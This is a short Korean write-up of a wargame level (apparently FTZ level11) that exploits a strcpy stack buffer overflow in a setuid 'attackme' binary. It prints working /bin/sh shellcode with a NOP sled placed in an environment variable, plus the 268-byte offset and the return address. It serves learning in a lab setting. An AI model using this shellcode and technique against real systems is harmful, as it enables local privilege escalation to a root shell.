SMALL
level11 // what!@#$?
힌트는 다음과 같다.
attackme의 c소스로 보인다.
이 파일을 /tmp에 복사해서 gdb로 디버깅을 해보았다.
main 함수를 분석하면 핵심 부분이 있는데 그 부분은 strcpy 함수를 사용하는데있다.
strcpy함수는 버퍼 경계 사이즈를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다.
일단 이와 같은 어셈블리로 보아 이렇게 예상해 볼 수 있었다.
BOF공격에는 달고나 문서를 참고하니 3가지 공격기법이 있었다.
- 고전적인 방법 (shellcode가 있는 곳의 address를 추측하는방법, 노가다성이 너무 짙고 힘들어서 지금은 거의 사용 X)
- 환경변수를 이용하는 방법
- Return into libc 기법
이중 나는 환경변수를 이용하는 방법을 택했다.
우선 쉘코드를 환경변수에 추가해준다.
export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
환경변수의 이름은 SH, NOP(gdb가 정확한 환경변수 주소를 알려주지 않아 정확성을 높이기 위해), 이후 쉘코드
환경변수의 주소를 알려주는 코드를 짜고 SH의 주소를 찾았더니 0xbffffe5b 이다.
ret에 이 주소를 넣어주기 위해 str(256) + dummy(8) + SFP(4) 를 해주면 return address 값이다. 즉, 268
NOP 슬라이딩 기법을 이용해 NOP 268개와 + 환경변수 주소값을 리틀 엔디언으로 넣어주면 쉘 획득!
환경변수 주소값 (little endian) : \x5b\xfe\xff\xbf